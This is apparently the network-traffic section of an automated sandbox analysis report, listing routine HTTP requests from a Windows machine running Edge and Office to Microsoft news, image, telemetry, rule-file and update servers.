Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732612172318&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=3021cb2473a14ef8b69c57142c0e7b9b&activityId=3021cb2473a14ef8b69c57142c0e7b9b&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=110737551C0664D7127822161D1F6521; _EDGE_S=F=1&SID=1A43FC4C6E85641A0FE4E90F6F6A6501; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=110737551C0664D7127822161D1F6521&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=f4f773b2fae944f2be2056eb4dd43e78 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=110737551C0664D7127822161D1F6521; _EDGE_S=F=1&SID=1A43FC4C6E85641A0FE4E90F6F6A6501; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732612172319&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=110737551C0664D7127822161D1F6521&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1728748b79b691e169d3a781732612173; XID=1728748b79b691e169d3a781732612173
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=110737551C0664D7127822161D1F6521&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=d4aee74813424acab6491cc71756e5ce HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=110737551C0664D7127822161D1F6521; _EDGE_S=F=1&SID=1A43FC4C6E85641A0FE4E90F6F6A6501; _EDGE_V=1; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO5.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOZ4.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOZ8.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732612172318&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=3021cb2473a14ef8b69c57142c0e7b9b&activityId=3021cb2473a14ef8b69c57142c0e7b9b&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=592C20CA0432444D92EC8C494133F002&MUID=110737551C0664D7127822161D1F6521 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=110737551C0664D7127822161D1F6521; _EDGE_S=F=1&SID=1A43FC4C6E85641A0FE4E90F6F6A6501; _EDGE_V=1; _C_ETH=1; SM=T; msnup=
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733216964&P2=404&P3=2&P4=VlUaRScwa%2bk8%2fJ3lzqx9ant9gM2CgrDzMsPwE9aOtYkju3zTdnu1qMmxZTFnae7dRQw4U4ZPCrzSbZ86mLDCbA%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: 2WkJQfW5L5rMMk3Fyz8dtlSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /extensionwebstorebase/v1/logextensionreliability?success=true&cv=2WkJQfW5L5rMMk3Fyz8dtl&errorString=&crxId=jmjflgjpcpepeafmmgdpfkogkghcpiha&os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=edgecrx&prodchannel=&prodversion=117.0.2045.47&lang=en-GB&acceptformat=crx3,puff HTTP/1.1Host: edge.microsoft.comConnection: keep-aliveScenario: UpdateSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, br
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=DA7lFO3zLn22lMe&MD=5fBfWx8m HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
